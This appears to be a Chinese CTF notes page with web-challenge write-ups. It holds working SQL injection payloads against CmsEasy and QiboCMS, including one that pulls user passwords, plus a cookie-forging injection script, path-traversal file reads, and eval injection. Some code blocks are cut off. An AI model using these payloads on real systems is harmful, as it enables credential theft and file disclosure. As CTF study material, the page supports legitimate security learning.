一些php函数
isset — 检测变量是否已设置并且非 NULL
如果 var 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE。
var_dump($a)
$GLOBALS 存放所有全局变量
文件包含
1 | <?php |
闭合()
,使用print_r(file(‘xx.php’))输出文件内容
配置或源码文件泄露
PhpStorm软件会在开发目录下有.idea
文件夹,包含了一些字体、缓存等配置
misc.xml
modules.xml
store.iml
workspace.xml
正则
[^a-zA-Z0-9.]是匹配非a-zA-Z0-9.
的字符并替换成空,如果某个文件名有_
符号,可以使用config
字符串代替_
1 | $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); |
yesercms
其实是easycms,注入点:1
2
3
4
5http://localhost/Cmseasy/celive/live/header.php
POST Data:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',
(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password))
from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
当使用admin登录后,在管理界面却发现无所作为,看wp提示是当前模板编辑,编辑文件却无法保存,,但是既然能读取道文件,说明有文件包含,f12查看然后,发现可以的脚本show_edit()函数,然后&id = ../../../flag.php根目录文件包含
1 | function show_edit(id) { |
反黑XSS
想到反黑XSS平台的思路 一般XSS平台为了简洁就是一个纯数字URL,然后BURP爆破 http://b6790362038a4034a59feeef192cc8757a7ae27633094a6c.game.ichunqiu.com/1 在3时返回了一段JS代码,然后执行返回的JS代码 发现请求了如下信息 http://b6790362038a4034a59feeef192cc8757a7ae27633094a6c.game.ichunqiu.com/3 不过后来发现没什么用
在burp抓包后,本应提交email=xx参数时将其改成email[]=xx数组,发现了报错,在报错中发现提示文件错误等,搜索出github上的源码 https://github.com/r0ker/Rtiny-xss
发现lock.py中存在cookie中username注入,但是tornado对cookie中的username加密,需要本地搭建平台抓包道cookie1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#!/usr/bin/env python
# -*- coding:utf-8 -*-
import tornado.ioloop
import tornado.web
import logging
logging.getLogger().setLevel(logging.DEBUG)
settings = {
"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
}
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("hhhh")
self.set_secure_cookie("username","' and extractvalue(1, concat(0x5c, substring((load_file('/var/www/html/f13g_ls_here.txt')),32,48)))# ")
def main_app():
return tornado.web.Application([(r"/",MainHandler),],**settings)
if __name__ == '__main__':
app = main_app()
app.listen('8888','127.0.0.1')
tornado.ioloop.IOLoop.current().start()
load_file()函数
load_file(‘/var/www/html/f13g_ls_here.txt’)
再见cms
在网站左上角发现qibosoft的图标,百度搜索知道了齐博cms,接着就是找其漏洞了
https://blog.csdn.net/qq_33020901/article/details/52593063 发现不好用,使用另一个wp
https://blog.csdn.net/include_heqile/article/details/826335061
2
3$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads
T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY
T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");
这里需要把$TB_pre构造成一个表,因此Payload:http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select user()),0x7e),1)))a%23
之后用load_file()读取文件,因为’被过滤,文件名使用16进制
SQL
id=1 un<>ion se<>lect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
id=1 un<>ion se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name=’info’
id,title,flAg_T5ZNdrm
id=1 un<>ion se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name=’info’
666C61677B31386561313762392D653039352D343866392D626530322D3731333962646564376162647D
SQli
重定向一般发生在访问域名而且不加参数或者文件夹名,文件名这样的情况下,比如直接访问http://90fefcf9ed494886b66499d44a5b4f7466e12887e8b44c96.game.ichunqiu.com/就会重定向到一个默认的页面文件,比如返回的字段中有page字段:1
2
3
4
5
6
7
8
9HTTP/1.1 302 Found
Server: nginx/1.10.2
Date: Fri, 19 Oct 2018 14:07:32 GMT
Content-Type: text/html
Content-Length: 57
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
page: l0gin.php?id=1
location: ./b68a89d1c4a097a9d8631b3ac45e8979.php
其中 使用 id=1 and ascii(mid((select database()),1,1))
会发现逗号被过滤
最终使用:
Payload: id=-1' union select * from (select user()) a join (select version() ) b %23
源码泄露
.git 文件泄露
使用Githack工具 https://github.com/lijiejie/GitHack
用法:python GitHack.py http://xxxx/.git/
会自动将.git文件夹下载下来,然后使用git log -p
查看修改情况
.DS_Store文件泄漏
工具连接:https://github.com/lijiejie/ds_store_exp
这是一个.DS_Store文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地。Usage: python ds_store_exp.py http://www.example.com/.DS_Store
编辑器临时文件泄露
vim编辑器
vim临时文件
Vim意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。
在linux下,假设你的swp文件叫’.index.php.swp’,可用带-r参数编辑 vi -r index.php
然后wq保存即可
或者使用: #vi .index.php.swp
然后:recover
最后wq保存
默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,index.php的备份文件则为index.php~
UltrlEditor
UltrlEditor自动保存为.bak后缀。
PHPSTORM
使用phpstorm新建项目时,会生成一个.idea文件夹,这个文件夹有一个workspace.xml,访问可以得到一些信息。
php混淆加密
一个PHP混淆后门的分析 :http://www.cnblogs.com/go2bed/p/5920811.html
1 | # encoding: utf-8 |
PHP执行系统命令的有几个常用的函数
system函数
说明:执行外部程序并显示输出资料。
exec函数
说明:执行外部程序。
返回值: 字符串
popen函数
说明:打开文件。
语法:int popen(string command, string mode);
返回值: 整数
详细介绍:本函数执行指令开档,而该文件是用管道方式处理的文件。用本函数打开的文件只能是单向的 (只能读或只能写),而且一定要用 pclose() 关闭。在文件操作上可使用 fgets()、fgetss() 与 fputs()。若是开档发生错误,返回 false 值。
实例代码:< ? $fp = popen( "/bin/ls", "r" ); ?>
GetFlag
做题时,发现/Challenges/file/download.php?f=a.php
可以读取文件,然后尝试a=../flag.php
,但是出现问题,并不是想要访问的,而且给了提示实在根目录下,这意味着,可以使用绝对路径a=/var/www/html/Chanllenges/flag.php
,
1 |
|
其中,如果传入flag=flag , 则最终 eval("\$spaceone = $f");
无引号定义字符串的方式
1 | $f = <<<s |
然后通过URL编码%3c%3c%3c%73%0a%66%6c%61%67%0a%73%3b%0a,